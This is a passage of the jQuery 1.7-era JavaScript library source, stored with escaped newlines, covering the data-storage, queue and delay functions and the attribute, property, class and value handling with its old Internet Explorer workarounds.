!(match === true || elem.getAttribute(\"classid\") !== match);\n\t\t\t}\n\t\t}\n\n\t\treturn true;\n\t}\n});\n\njQuery.fn.extend({\n\tdata: function( key, value ) {\n\t\tvar parts, part, attr, name, l,\n\t\t\telem = this[0],\n\t\t\ti = 0,\n\t\t\tdata = null;\n\n\t\t// Gets all values\n\t\tif ( key === undefined ) {\n\t\t\tif ( this.length ) {\n\t\t\t\tdata = jQuery.data( elem );\n\n\t\t\t\tif ( elem.nodeType === 1 && !jQuery._data( elem, \"parsedAttrs\" ) ) {\n\t\t\t\t\tattr = elem.attributes;\n\t\t\t\t\tfor ( l = attr.length; i < l; i++ ) {\n\t\t\t\t\t\tname = attr[i].name;\n\n\t\t\t\t\t\tif ( name.indexOf( \"data-\" ) === 0 ) {\n\t\t\t\t\t\t\tname = jQuery.camelCase( name.substring(5) );\n\n\t\t\t\t\t\t\tdataAttr( elem, name, data[ name ] );\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t\tjQuery._data( elem, \"parsedAttrs\", true );\n\t\t\t\t}\n\t\t\t}\n\n\t\t\treturn data;\n\t\t}\n\n\t\t// Sets multiple values\n\t\tif ( typeof key === \"object\" ) {\n\t\t\treturn this.each(function() {\n\t\t\t\tjQuery.data( this, key );\n\t\t\t});\n\t\t}\n\n\t\tparts = key.split( \".\", 2 );\n\t\tparts[1] = parts[1] ? \".\" + parts[1] : \"\";\n\t\tpart = parts[1] + \"!\";\n\n\t\treturn jQuery.access( this, function( value ) {\n\n\t\t\tif ( value === undefined ) {\n\t\t\t\tdata = this.triggerHandler( \"getData\" + part, [ parts[0] ] );\n\n\t\t\t\t// Try to fetch any internally stored data first\n\t\t\t\tif ( data === undefined && elem ) {\n\t\t\t\t\tdata = jQuery.data( elem, key );\n\t\t\t\t\tdata = dataAttr( elem, key, data );\n\t\t\t\t}\n\n\t\t\t\treturn data === undefined && parts[1] ?\n\t\t\t\t\tthis.data( parts[0] ) :\n\t\t\t\t\tdata;\n\t\t\t}\n\n\t\t\tparts[1] = value;\n\t\t\tthis.each(function() {\n\t\t\t\tvar self = jQuery( this );\n\n\t\t\t\tself.triggerHandler( \"setData\" + part, parts );\n\t\t\t\tjQuery.data( this, key, value );\n\t\t\t\tself.triggerHandler( \"changeData\" + part, parts );\n\t\t\t});\n\t\t}, null, value, arguments.length > 1, null, false );\n\t},\n\n\tremoveData: function( key ) {\n\t\treturn this.each(function() {\n\t\t\tjQuery.removeData( this, key );\n\t\t});\n\t}\n});\n\nfunction dataAttr( elem, key, data ) {\n\t// If nothing was found internally, try to fetch any\n\t// data from the HTML5 data-* attribute\n\tif ( data === undefined && elem.nodeType === 1 ) {\n\n\t\tvar name = \"data-\" + key.replace( rmultiDash, \"-$1\" ).toLowerCase();\n\n\t\tdata = elem.getAttribute( name );\n\n\t\tif ( typeof data === \"string\" ) {\n\t\t\ttry {\n\t\t\t\tdata = data === \"true\" ? true :\n\t\t\t\tdata === \"false\" ? false :\n\t\t\t\tdata === \"null\" ? null :\n\t\t\t\tjQuery.isNumeric( data ) ? +data :\n\t\t\t\t\trbrace.test( data ) ? jQuery.parseJSON( data ) :\n\t\t\t\t\tdata;\n\t\t\t} catch( e ) {}\n\n\t\t\t// Make sure we set the data so it isn't changed later\n\t\t\tjQuery.data( elem, key, data );\n\n\t\t} else {\n\t\t\tdata = undefined;\n\t\t}\n\t}\n\n\treturn data;\n}\n\n// checks a cache object for emptiness\nfunction isEmptyDataObject( obj ) {\n\tfor ( var name in obj ) {\n\n\t\t// if the public data object is empty, the private is still empty\n\t\tif ( name === \"data\" && jQuery.isEmptyObject( obj[name] ) ) {\n\t\t\tcontinue;\n\t\t}\n\t\tif ( name !== \"toJSON\" ) {\n\t\t\treturn false;\n\t\t}\n\t}\n\n\treturn true;\n}\n\n\n\n\nfunction handleQueueMarkDefer( elem, type, src ) {\n\tvar deferDataKey = type + \"defer\",\n\t\tqueueDataKey = type + \"queue\",\n\t\tmarkDataKey = type + \"mark\",\n\t\tdefer = jQuery._data( elem, deferDataKey );\n\tif ( defer &&\n\t\t( src === \"queue\" || !jQuery._data(elem, queueDataKey) ) &&\n\t\t( src === \"mark\" || !jQuery._data(elem, markDataKey) ) ) {\n\t\t// Give room for hard-coded callbacks to fire first\n\t\t// and eventually mark/queue something else on the element\n\t\tsetTimeout( function() {\n\t\t\tif ( !jQuery._data( elem, queueDataKey ) &&\n\t\t\t\t!jQuery._data( elem, markDataKey ) ) {\n\t\t\t\tjQuery.removeData( elem, deferDataKey, true );\n\t\t\t\tdefer.fire();\n\t\t\t}\n\t\t}, 0 );\n\t}\n}\n\njQuery.extend({\n\n\t_mark: function( elem, type ) {\n\t\tif ( elem ) {\n\t\t\ttype = ( type || \"fx\" ) + \"mark\";\n\t\t\tjQuery._data( elem, type, (jQuery._data( elem, type ) || 0) + 1 );\n\t\t}\n\t},\n\n\t_unmark: function( force, elem, type ) {\n\t\tif ( force !== true ) {\n\t\t\ttype = elem;\n\t\t\telem = force;\n\t\t\tforce = false;\n\t\t}\n\t\tif ( elem ) {\n\t\t\ttype = type || \"fx\";\n\t\t\tvar key = type + \"mark\",\n\t\t\t\tcount = force ? 0 : ( (jQuery._data( elem, key ) || 1) - 1 );\n\t\t\tif ( count ) {\n\t\t\t\tjQuery._data( elem, key, count );\n\t\t\t} else {\n\t\t\t\tjQuery.removeData( elem, key, true );\n\t\t\t\thandleQueueMarkDefer( elem, type, \"mark\" );\n\t\t\t}\n\t\t}\n\t},\n\n\tqueue: function( elem, type, data ) {\n\t\tvar q;\n\t\tif ( elem ) {\n\t\t\ttype = ( type || \"fx\" ) + \"queue\";\n\t\t\tq = jQuery._data( elem, type );\n\n\t\t\t// Speed up dequeue by getting out quickly if this is just a lookup\n\t\t\tif ( data ) {\n\t\t\t\tif ( !q || jQuery.isArray(data) ) {\n\t\t\t\t\tq = jQuery._data( elem, type, jQuery.makeArray(data) );\n\t\t\t\t} else {\n\t\t\t\t\tq.push( data );\n\t\t\t\t}\n\t\t\t}\n\t\t\treturn q || [];\n\t\t}\n\t},\n\n\tdequeue: function( elem, type ) {\n\t\ttype = type || \"fx\";\n\n\t\tvar queue = jQuery.queue( elem, type ),\n\t\t\tfn = queue.shift(),\n\t\t\thooks = {};\n\n\t\t// If the fx queue is dequeued, always remove the progress sentinel\n\t\tif ( fn === \"inprogress\" ) {\n\t\t\tfn = queue.shift();\n\t\t}\n\n\t\tif ( fn ) {\n\t\t\t// Add a progress sentinel to prevent the fx queue from being\n\t\t\t// automatically dequeued\n\t\t\tif ( type === \"fx\" ) {\n\t\t\t\tqueue.unshift( \"inprogress\" );\n\t\t\t}\n\n\t\t\tjQuery._data( elem, type + \".run\", hooks );\n\t\t\tfn.call( elem, function() {\n\t\t\t\tjQuery.dequeue( elem, type );\n\t\t\t}, hooks );\n\t\t}\n\n\t\tif ( !queue.length ) {\n\t\t\tjQuery.removeData( elem, type + \"queue \" + type + \".run\", true );\n\t\t\thandleQueueMarkDefer( elem, type, \"queue\" );\n\t\t}\n\t}\n});\n\njQuery.fn.extend({\n\tqueue: function( type, data ) {\n\t\tvar setter = 2;\n\n\t\tif ( typeof type !== \"string\" ) {\n\t\t\tdata = type;\n\t\t\ttype = \"fx\";\n\t\t\tsetter--;\n\t\t}\n\n\t\tif ( arguments.length < setter ) {\n\t\t\treturn jQuery.queue( this[0], type );\n\t\t}\n\n\t\treturn data === undefined ?\n\t\t\tthis :\n\t\t\tthis.each(function() {\n\t\t\t\tvar queue = jQuery.queue( this, type, data );\n\n\t\t\t\tif ( type === \"fx\" && queue[0] !== \"inprogress\" ) {\n\t\t\t\t\tjQuery.dequeue( this, type );\n\t\t\t\t}\n\t\t\t});\n\t},\n\tdequeue: function( type ) {\n\t\treturn this.each(function() {\n\t\t\tjQuery.dequeue( this, type );\n\t\t});\n\t},\n\t// Based off of the plugin by Clint Helfers, with permission.\n\t// http://blindsignals.com/index.php/2009/07/jquery-delay/\n\tdelay: function( time, type ) {\n\t\ttime = jQuery.fx ? jQuery.fx.speeds[ time ] || time : time;\n\t\ttype = type || \"fx\";\n\n\t\treturn this.queue( type, function( next, hooks ) {\n\t\t\tvar timeout = setTimeout( next, time );\n\t\t\thooks.stop = function() {\n\t\t\t\tclearTimeout( timeout );\n\t\t\t};\n\t\t});\n\t},\n\tclearQueue: function( type ) {\n\t\treturn this.queue( type || \"fx\", [] );\n\t},\n\t// Get a promise resolved when queues of a certain type\n\t// are emptied (fx is the type by default)\n\tpromise: function( type, object ) {\n\t\tif ( typeof type !== \"string\" ) {\n\t\t\tobject = type;\n\t\t\ttype = undefined;\n\t\t}\n\t\ttype = type || \"fx\";\n\t\tvar defer = jQuery.Deferred(),\n\t\t\telements = this,\n\t\t\ti = elements.length,\n\t\t\tcount = 1,\n\t\t\tdeferDataKey = type + \"defer\",\n\t\t\tqueueDataKey = type + \"queue\",\n\t\t\tmarkDataKey = type + \"mark\",\n\t\t\ttmp;\n\t\tfunction resolve() {\n\t\t\tif ( !( --count ) ) {\n\t\t\t\tdefer.resolveWith( elements, [ elements ] );\n\t\t\t}\n\t\t}\n\t\twhile( i-- ) {\n\t\t\tif (( tmp = jQuery.data( elements[ i ], deferDataKey, undefined, true ) ||\n\t\t\t\t\t( jQuery.data( elements[ i ], queueDataKey, undefined, true ) ||\n\t\t\t\t\t\tjQuery.data( elements[ i ], markDataKey, undefined, true ) ) &&\n\t\t\t\t\tjQuery.data( elements[ i ], deferDataKey, jQuery.Callbacks( \"once memory\" ), true ) )) {\n\t\t\t\tcount++;\n\t\t\t\ttmp.add( resolve );\n\t\t\t}\n\t\t}\n\t\tresolve();\n\t\treturn defer.promise( object );\n\t}\n});\n\n\n\n\nvar rclass = /[\\n\\t\\r]/g,\n\trspace = /\\s+/,\n\trreturn = /\\r/g,\n\trtype = /^(?:button|input)$/i,\n\trfocusable = /^(?:button|input|object|select|textarea)$/i,\n\trclickable = /^a(?:rea)?$/i,\n\trboolean = /^(?:autofocus|autoplay|async|checked|controls|defer|disabled|hidden|loop|multiple|open|readonly|required|scoped|selected)$/i,\n\tgetSetAttribute = jQuery.support.getSetAttribute,\n\tnodeHook, boolHook, fixSpecified;\n\njQuery.fn.extend({\n\tattr: function( name, value ) {\n\t\treturn jQuery.access( this, jQuery.attr, name, value, arguments.length > 1 );\n\t},\n\n\tremoveAttr: function( name ) {\n\t\treturn this.each(function() {\n\t\t\tjQuery.removeAttr( this, name );\n\t\t});\n\t},\n\n\tprop: function( name, value ) {\n\t\treturn jQuery.access( this, jQuery.prop, name, value, arguments.length > 1 );\n\t},\n\n\tremoveProp: function( name ) {\n\t\tname = jQuery.propFix[ name ] || name;\n\t\treturn this.each(function() {\n\t\t\t// try/catch handles cases where IE balks (such as removing a property on window)\n\t\t\ttry {\n\t\t\t\tthis[ name ] = undefined;\n\t\t\t\tdelete this[ name ];\n\t\t\t} catch( e ) {}\n\t\t});\n\t},\n\n\taddClass: function( value ) {\n\t\tvar classNames, i, l, elem,\n\t\t\tsetClass, c, cl;\n\n\t\tif ( jQuery.isFunction( value ) ) {\n\t\t\treturn this.each(function( j ) {\n\t\t\t\tjQuery( this ).addClass( value.call(this, j, this.className) );\n\t\t\t});\n\t\t}\n\n\t\tif ( value && typeof value === \"string\" ) {\n\t\t\tclassNames = value.split( rspace );\n\n\t\t\tfor ( i = 0, l = this.length; i < l; i++ ) {\n\t\t\t\telem = this[ i ];\n\n\t\t\t\tif ( elem.nodeType === 1 ) {\n\t\t\t\t\tif ( !elem.className && classNames.length === 1 ) {\n\t\t\t\t\t\telem.className = value;\n\n\t\t\t\t\t} else {\n\t\t\t\t\t\tsetClass = \" \" + elem.className + \" \";\n\n\t\t\t\t\t\tfor ( c = 0, cl = classNames.length; c < cl; c++ ) {\n\t\t\t\t\t\t\tif ( !~setClass.indexOf( \" \" + classNames[ c ] + \" \" ) ) {\n\t\t\t\t\t\t\t\tsetClass += classNames[ c ] + \" \";\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t}\n\t\t\t\t\t\telem.className = jQuery.trim( setClass );\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\n\t\treturn this;\n\t},\n\n\tremoveClass: function( value ) {\n\t\tvar classNames, i, l, elem, className, c, cl;\n\n\t\tif ( jQuery.isFunction( value ) ) {\n\t\t\treturn this.each(function( j ) {\n\t\t\t\tjQuery( this ).removeClass( value.call(this, j, this.className) );\n\t\t\t});\n\t\t}\n\n\t\tif ( (value && typeof value === \"string\") || value === undefined ) {\n\t\t\tclassNames = ( value || \"\" ).split( rspace );\n\n\t\t\tfor ( i = 0, l = this.length; i < l; i++ ) {\n\t\t\t\telem = this[ i ];\n\n\t\t\t\tif ( elem.nodeType === 1 && elem.className ) {\n\t\t\t\t\tif ( value ) {\n\t\t\t\t\t\tclassName = (\" \" + elem.className + \" \").replace( rclass, \" \" );\n\t\t\t\t\t\tfor ( c = 0, cl = classNames.length; c < cl; c++ ) {\n\t\t\t\t\t\t\tclassName = className.replace(\" \" + classNames[ c ] + \" \", \" \");\n\t\t\t\t\t\t}\n\t\t\t\t\t\telem.className = jQuery.trim( className );\n\n\t\t\t\t\t} else {\n\t\t\t\t\t\telem.className = \"\";\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\n\t\treturn this;\n\t},\n\n\ttoggleClass: function( value, stateVal ) {\n\t\tvar type = typeof value,\n\t\t\tisBool = typeof stateVal === \"boolean\";\n\n\t\tif ( jQuery.isFunction( value ) ) {\n\t\t\treturn this.each(function( i ) {\n\t\t\t\tjQuery( this ).toggleClass( value.call(this, i, this.className, stateVal), stateVal );\n\t\t\t});\n\t\t}\n\n\t\treturn this.each(function() {\n\t\t\tif ( type === \"string\" ) {\n\t\t\t\t// toggle individual class names\n\t\t\t\tvar className,\n\t\t\t\t\ti = 0,\n\t\t\t\t\tself = jQuery( this ),\n\t\t\t\t\tstate = stateVal,\n\t\t\t\t\tclassNames = value.split( rspace );\n\n\t\t\t\twhile ( (className = classNames[ i++ ]) ) {\n\t\t\t\t\t// check each className given, space seperated list\n\t\t\t\t\tstate = isBool ? state : !self.hasClass( className );\n\t\t\t\t\tself[ state ? \"addClass\" : \"removeClass\" ]( className );\n\t\t\t\t}\n\n\t\t\t} else if ( type === \"undefined\" || type === \"boolean\" ) {\n\t\t\t\tif ( this.className ) {\n\t\t\t\t\t// store className if set\n\t\t\t\t\tjQuery._data( this, \"__className__\", this.className );\n\t\t\t\t}\n\n\t\t\t\t// toggle whole className\n\t\t\t\tthis.className = this.className || value === false ? \"\" : jQuery._data( this, \"__className__\" ) || \"\";\n\t\t\t}\n\t\t});\n\t},\n\n\thasClass: function( selector ) {\n\t\tvar className = \" \" + selector + \" \",\n\t\t\ti = 0,\n\t\t\tl = this.length;\n\t\tfor ( ; i < l; i++ ) {\n\t\t\tif ( this[i].nodeType === 1 && (\" \" + this[i].className + \" \").replace(rclass, \" \").indexOf( className ) > -1 ) {\n\t\t\t\treturn true;\n\t\t\t}\n\t\t}\n\n\t\treturn false;\n\t},\n\n\tval: function( value ) {\n\t\tvar hooks, ret, isFunction,\n\t\t\telem = this[0];\n\n\t\tif ( !arguments.length ) {\n\t\t\tif ( elem ) {\n\t\t\t\thooks = jQuery.valHooks[ elem.type ] || jQuery.valHooks[ elem.nodeName.toLowerCase() ];\n\n\t\t\t\tif ( hooks && \"get\" in hooks && (ret = hooks.get( elem, \"value\" )) !== undefined ) {\n\t\t\t\t\treturn ret;\n\t\t\t\t}\n\n\t\t\t\tret = elem.value;\n\n\t\t\t\treturn typeof ret === \"string\" ?\n\t\t\t\t\t// handle most common string cases\n\t\t\t\t\tret.replace(rreturn, \"\") :\n\t\t\t\t\t// handle cases where value is null/undef or number\n\t\t\t\t\tret == null ? \"\" : ret;\n\t\t\t}\n\n\t\t\treturn;\n\t\t}\n\n\t\tisFunction = jQuery.isFunction( value );\n\n\t\treturn this.each(function( i ) {\n\t\t\tvar self = jQuery(this), val;\n\n\t\t\tif ( this.nodeType !== 1 ) {\n\t\t\t\treturn;\n\t\t\t}\n\n\t\t\tif ( isFunction ) {\n\t\t\t\tval = value.call( this, i, self.val() );\n\t\t\t} else {\n\t\t\t\tval = value;\n\t\t\t}\n\n\t\t\t// Treat null/undefined as \"\"; convert numbers to string\n\t\t\tif ( val == null ) {\n\t\t\t\tval = \"\";\n\t\t\t} else if ( typeof val === \"number\" ) {\n\t\t\t\tval += \"\";\n\t\t\t} else if ( jQuery.isArray( val ) ) {\n\t\t\t\tval = jQuery.map(val, function ( value ) {\n\t\t\t\t\treturn value == null ? \"\" : value + \"\";\n\t\t\t\t});\n\t\t\t}\n\n\t\t\thooks = jQuery.valHooks[ this.type ] || jQuery.valHooks[ this.nodeName.toLowerCase() ];\n\n\t\t\t// If set returns undefined, fall back to normal setting\n\t\t\tif ( !hooks || !(\"set\" in hooks) || hooks.set( this, val, \"value\" ) === undefined ) {\n\t\t\t\tthis.value = val;\n\t\t\t}\n\t\t});\n\t}\n});\n\njQuery.extend({\n\tvalHooks: {\n\t\toption: {\n\t\t\tget: function( elem ) {\n\t\t\t\t// attributes.value is undefined in Blackberry 4.7 but\n\t\t\t\t// uses .value. See #6932\n\t\t\t\tvar val = elem.attributes.value;\n\t\t\t\treturn !val || val.specified ? elem.value : elem.text;\n\t\t\t}\n\t\t},\n\t\tselect: {\n\t\t\tget: function( elem ) {\n\t\t\t\tvar value, i, max, option,\n\t\t\t\t\tindex = elem.selectedIndex,\n\t\t\t\t\tvalues = [],\n\t\t\t\t\toptions = elem.options,\n\t\t\t\t\tone = elem.type === \"select-one\";\n\n\t\t\t\t// Nothing was selected\n\t\t\t\tif ( index < 0 ) {\n\t\t\t\t\treturn null;\n\t\t\t\t}\n\n\t\t\t\t// Loop through all the selected options\n\t\t\t\ti = one ? index : 0;\n\t\t\t\tmax = one ? index + 1 : options.length;\n\t\t\t\tfor ( ; i < max; i++ ) {\n\t\t\t\t\toption = options[ i ];\n\n\t\t\t\t\t// Don't return options that are disabled or in a disabled optgroup\n\t\t\t\t\tif ( option.selected && (jQuery.support.optDisabled ? !option.disabled : option.getAttribute(\"disabled\") === null) &&\n\t\t\t\t\t\t\t(!option.parentNode.disabled || !jQuery.nodeName( option.parentNode, \"optgroup\" )) ) {\n\n\t\t\t\t\t\t// Get the specific value for the option\n\t\t\t\t\t\tvalue = jQuery( option ).val();\n\n\t\t\t\t\t\t// We don't need an array for one selects\n\t\t\t\t\t\tif ( one ) {\n\t\t\t\t\t\t\treturn value;\n\t\t\t\t\t\t}\n\n\t\t\t\t\t\t// Multi-Selects return an array\n\t\t\t\t\t\tvalues.push( value );\n\t\t\t\t\t}\n\t\t\t\t}\n\n\t\t\t\t// Fixes Bug #2551 -- select.val() broken in IE after form.reset()\n\t\t\t\tif ( one && !values.length && options.length ) {\n\t\t\t\t\treturn jQuery( options[ index ] ).val();\n\t\t\t\t}\n\n\t\t\t\treturn values;\n\t\t\t},\n\n\t\t\tset: function( elem, value ) {\n\t\t\t\tvar values = jQuery.makeArray( value );\n\n\t\t\t\tjQuery(elem).find(\"option\").each(function() {\n\t\t\t\t\tthis.selected = jQuery.inArray( jQuery(this).val(), values ) >= 0;\n\t\t\t\t});\n\n\t\t\t\tif ( !values.length ) {\n\t\t\t\t\telem.selectedIndex = -1;\n\t\t\t\t}\n\t\t\t\treturn values;\n\t\t\t}\n\t\t}\n\t},\n\n\tattrFn: {\n\t\tval: true,\n\t\tcss: true,\n\t\thtml: true,\n\t\ttext: true,\n\t\tdata: true,\n\t\twidth: true,\n\t\theight: true,\n\t\toffset: true\n\t},\n\n\tattr: function( elem, name, value, pass ) {\n\t\tvar ret, hooks, notxml,\n\t\t\tnType = elem.nodeType;\n\n\t\t// don't get/set attributes on text, comment and attribute nodes\n\t\tif ( !elem || nType === 3 || nType === 8 || nType === 2 ) {\n\t\t\treturn;\n\t\t}\n\n\t\tif ( pass && name in jQuery.attrFn ) {\n\t\t\treturn jQuery( elem )[ name ]( value );\n\t\t}\n\n\t\t// Fallback to prop when attributes are not supported\n\t\tif ( typeof elem.getAttribute === \"undefined\" ) {\n\t\t\treturn jQuery.prop( elem, name, value );\n\t\t}\n\n\t\tnotxml = nType !== 1 || !jQuery.isXMLDoc( elem );\n\n\t\t// All attributes are lowercase\n\t\t// Grab necessary hook if one is defined\n\t\tif ( notxml ) {\n\t\t\tname = name.toLowerCase();\n\t\t\thooks = jQuery.attrHooks[ name ] || ( rboolean.test( name ) ? boolHook : nodeHook );\n\t\t}\n\n\t\tif ( value !== undefined ) {\n\n\t\t\tif ( value === null ) {\n\t\t\t\tjQuery.removeAttr( elem, name );\n\t\t\t\treturn;\n\n\t\t\t} else if ( hooks && \"set\" in hooks && notxml && (ret = hooks.set( elem, value, name )) !== undefined ) {\n\t\t\t\treturn ret;\n\n\t\t\t} else {\n\t\t\t\telem.setAttribute( name, \"\" + value );\n\t\t\t\treturn value;\n\t\t\t}\n\n\t\t} else if ( hooks && \"get\" in hooks && notxml && (ret = hooks.get( elem, name )) !== null ) {\n\t\t\treturn ret;\n\n\t\t} else {\n\n\t\t\tret = elem.getAttribute( name );\n\n\t\t\t// Non-existent attributes return null, we normalize to undefined\n\t\t\treturn ret === null ?\n\t\t\t\tundefined :\n\t\t\t\tret;\n\t\t}\n\t},\n\n\tremoveAttr: function( elem, value ) {\n\t\tvar propName, attrNames, name, l, isBool,\n\t\t\ti = 0;\n\n\t\tif ( value && elem.nodeType === 1 ) {\n\t\t\tattrNames = value.toLowerCase().split( rspace );\n\t\t\tl = attrNames.length;\n\n\t\t\tfor ( ; i < l; i++ ) {\n\t\t\t\tname = attrNames[ i ];\n\n\t\t\t\tif ( name ) {\n\t\t\t\t\tpropName = jQuery.propFix[ name ] || name;\n\t\t\t\t\tisBool = rboolean.test( name );\n\n\t\t\t\t\t// See #9699 for explanation of this approach (setting first, then removal)\n\t\t\t\t\t// Do not do this for boolean attributes (see #10870)\n\t\t\t\t\tif ( !isBool ) {\n\t\t\t\t\t\tjQuery.attr( elem, name, \"\" );\n\t\t\t\t\t}\n\t\t\t\t\telem.removeAttribute( getSetAttribute ? name : propName );\n\n\t\t\t\t\t// Set corresponding property to false for boolean attributes\n\t\t\t\t\tif ( isBool && propName in elem ) {\n\t\t\t\t\t\telem[ propName ] = false;\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t},\n\n\tattrHooks: {\n\t\ttype: {\n\t\t\tset: function( elem, value ) {\n\t\t\t\t// We can't allow the type property to be changed (since it causes problems in IE)\n\t\t\t\tif ( rtype.test( elem.nodeName ) && elem.parentNode ) {\n\t\t\t\t\tjQuery.error( \"type property can't be changed\" );\n\t\t\t\t} else if ( !jQuery.support.radioValue && value === \"radio\" && jQuery.nodeName(elem, \"input\") ) {\n\t\t\t\t\t// Setting the type on a radio button after the value resets the value in IE6-9\n\t\t\t\t\t// Reset value to it's default in case type is set after value\n\t\t\t\t\t// This is for element creation\n\t\t\t\t\tvar val = elem.value;\n\t\t\t\t\telem.setAttribute( \"type\", value );\n\t\t\t\t\tif ( val ) {\n\t\t\t\t\t\telem.value = val;\n\t\t\t\t\t}\n\t\t\t\t\treturn value;\n\t\t\t\t}\n\t\t\t}\n\t\t},\n\t\t// Use the value property for back compat\n\t\t// Use the nodeHook for button elements in IE6/7 (#1954)\n\t\tvalue: {\n\t\t\tget: function( elem, name ) {\n\t\t\t\tif ( nodeHook && jQuery.nodeName( elem, \"button\" ) ) {\n\t\t\t\t\treturn nodeHook.get( elem, name );\n\t\t\t\t}\n\t\t\t\treturn name in elem ?\n\t\t\t\t\telem.value :\n\t\t\t\t\tnull;\n\t\t\t},\n\t\t\tset: function( elem, value, name ) {\n\t\t\t\tif ( nodeHook && jQuery.nodeName( elem, \"button\" ) ) {\n\t\t\t\t\treturn nodeHook.set( elem, value, name );\n\t\t\t\t}\n\t\t\t\t// Does not return so that setAttribute is also used\n\t\t\t\telem.value = value;\n\t\t\t}\n\t\t}\n\t},\n\n\tpropFix: {\n\t\ttabindex: \"tabIndex\",\n\t\treadonly: \"readOnly\",\n\t\t\"for\": \"htmlFor\",\n\t\t\"class\": \"className\",\n\t\tmaxlength: \"maxLength\",\n\t\tcellspacing: \"cellSpacing\",\n\t\tcellpadding: \"cellPadding\",\n\t\trowspan: \"rowSpan\",\n\t\tcolspan: \"colSpan\",\n\t\tusemap: \"useMap\",\n\t\tframeborder: \"frameBorder\",\n\t\tcontenteditable: \"contentEditable\"\n\t},\n\n\tprop: function( elem, name, value ) {\n\t\tvar ret, hooks, notxml,\n\t\t\tnType = elem.nodeType;\n\n\t\t// don't get/set properties on text, comment and attribute nodes\n\t\tif ( !elem || nType === 3 || nType === 8 || nType === 2 ) {\n\t\t\treturn;\n\t\t}\n\n\t\tnotxml = nType !== 1 || !jQuery.isXMLDoc( elem );\n\n\t\tif ( notxml ) {\n\t\t\t// Fix name and attach hooks\n\t\t\tname = jQuery.propFix[ name ] || name;\n\t\t\thooks = jQuery.propHooks[ name ];\n\t\t}\n\n\t\tif ( value !== undefined ) {\n\t\t\tif ( hooks && \"set\" in hooks && (ret = hooks.set( elem, value, name )) !== undefined ) {\n\t\t\t\treturn ret;\n\n\t\t\t} else {\n\t\t\t\treturn ( elem[ name ] = value );\n\t\t\t}\n\n\t\t} else {\n\t\t\tif ( hooks && \"get\" in hooks && (ret = hooks.get( elem, name )) !== null ) {\n\t\t\t\treturn ret;\n\n\t\t\t} else {\n\t\t\t\treturn elem[ name ];\n\t\t\t}\n\t\t}\n\t},\n\n\tpropHooks: {\n\t\ttabIndex: {\n\t\t\tget: function( elem ) {\n\t\t\t\t// elem.tabIndex doesn't always return the correct value when it hasn't been explicitly set\n\t\t\t\t// http://fluidproject.org/blog/2008/01/09/getting-setting-and-removing-tabindex-values-with-javascript/\n\t\t\t\tvar attributeNode = elem.getAttributeNode(\"tabindex\");\n\n\t\t\t\treturn attributeNode && attributeNode.specified ?\n\t\t\t\t\tparseInt( attributeNode.value, 10 ) :\n\t\t\t\t\trfocusable.test( elem.nodeName ) || rclickable.test( elem.nodeName ) && elem.href ?\n\t\t\t\t\t\t0 :\n\t\t\t\t\t\tundefined;\n\t\t\t}\n\t\t}\n\t}\n});\n\n// Add the tabIndex propHook to attrHooks for back-compat (different case is intentional)\njQuery.attrHooks.tabindex = jQuery.propHooks.tabIndex;\n\n// Hook for boolean attributes\nboolHook = {\n\tget: function( elem, name ) {\n\t\t// Align boolean attributes with corresponding properties\n\t\t// Fall back to attribute presence where some booleans are not supported\n\t\tvar attrNode,\n\t\t\tproperty = jQuery.prop( elem, name );\n\t\treturn property === true || typeof property !== \"boolean\" && ( attrNode = elem.getAttributeNode(name) ) && attrNode.nodeValue !== false ?\n\t\t\tname.toLowerCase() :\n\t\t\tundefined;\n\t},\n\tset: function( elem, value, name ) {\n\t\tvar propName;\n\t\tif ( value === false ) {\n\t\t\t// Remove boolean attributes when set to false\n\t\t\tjQuery.removeAttr( elem, name );\n\t\t} else {\n\t\t\t// value is true since we know at this point it's type boolean and not false\n\t\t\t// Set boolean attributes to the same name and set the DOM property\n\t\t\tpropName = jQuery.propFix[ name ] || name;\n\t\t\tif ( propName in elem ) {\n\t\t\t\t// Only set the IDL specifically if it already exists on the element\n\t\t\t\telem[ propName ] = true;\n\t\t\t}\n\n\t\t\telem.setAttribute( name, name.toLowerCase() );\n\t\t}\n\t\treturn name;\n\t}\n};\n\n// IE6/7 do not support getting/setting some attributes with get/setAttribute\nif ( !getSetAttribute ) {\n\n\tfixSpecified = {\n\t\tname: true,\n\t\tid: true,\n\t\tcoords: true\n\t};\n\n\t// Use this for any attribute in IE6/7\n\t// This fixes almost every IE6/7 issue\n\tnodeHook = jQuery.valHooks.button = {\n\t\tget: function( elem, name ) {\n\t\t\tvar ret;\n\t\t\tret = elem.getAttributeNode( name );\n\t\t\treturn ret && ( fixSpecified[ name ] ? ret.nodeValue !== \"\" : ret.specified ) ?\n\t\t\t\tret.nodeValue :\n\t\t\t\tundefined;\n\t\t},\n\t\tset: function( elem, value, name ) {\n\t\t\t// Set the existing or create a new attribute node\n\t\t\tvar ret = elem.getAttributeNode( name );\n\t\t\tif ( !ret ) {\n\t\t\t\tret = document.createAttribute( name );\n\t\t\t\telem.setAttributeNode( ret );\n\t\t\t}\n\t\t\treturn ( ret.nodeValue = value + \"\" );\n\t\t}\n\t};\n\n\t// Apply the nodeHook to tabindex\n\tjQuery.attrHooks.tabindex.set = nodeHook.set;\n\n\t// Set width and height to auto instead of 0 on empty string( Bug #8150 )\n\t// This is for removals\n\tjQuery.each([ \"width\", \"height\" ], function( i, name ) {\n\t\tjQuery.attrHooks[ name ] = jQuery.extend( jQuery.attrHooks[ name ], {\n\t\t\tset: function( elem, value ) {\n\t\t\t\tif ( value === \"\" ) {\n\t\t\t\t\telem.setAttribute( name, \"auto\" );\n\t\t\t\t\treturn value;\n\t\t\t\t}\n\t\t\t}\n\t\t});\n\t});\n\n\t// Set contenteditable to false on removals(#10429)\n\t// Setting to empty string throws an error as an invalid value\n\tjQuery.attrHooks.contenteditable = {\n\t\tget: nodeHook.get,\n\t\tset: function( elem, value, name ) {\n\t\t\tif ( value === \"\" ) {\n\t\t\t\tvalue = \"false\";\n\t\t\t}\n\t\t\tnodeHook.set( elem, value, name );\n\t\t}\n\t};\n}\n\n\n// Some attributes require a special call on IE\nif ( !jQuery.support.hrefNormalized ) {\n\tjQuery.each([ \"href\", \"src\", \"width\", \"height\" ], function( i, name ) {\n\t\tjQuery.attrHooks[ name ] = jQuery.extend( jQuery.attrHooks[ name ], {\n\t\t\tget: function( elem ) {\n\t\t\t\tvar ret = 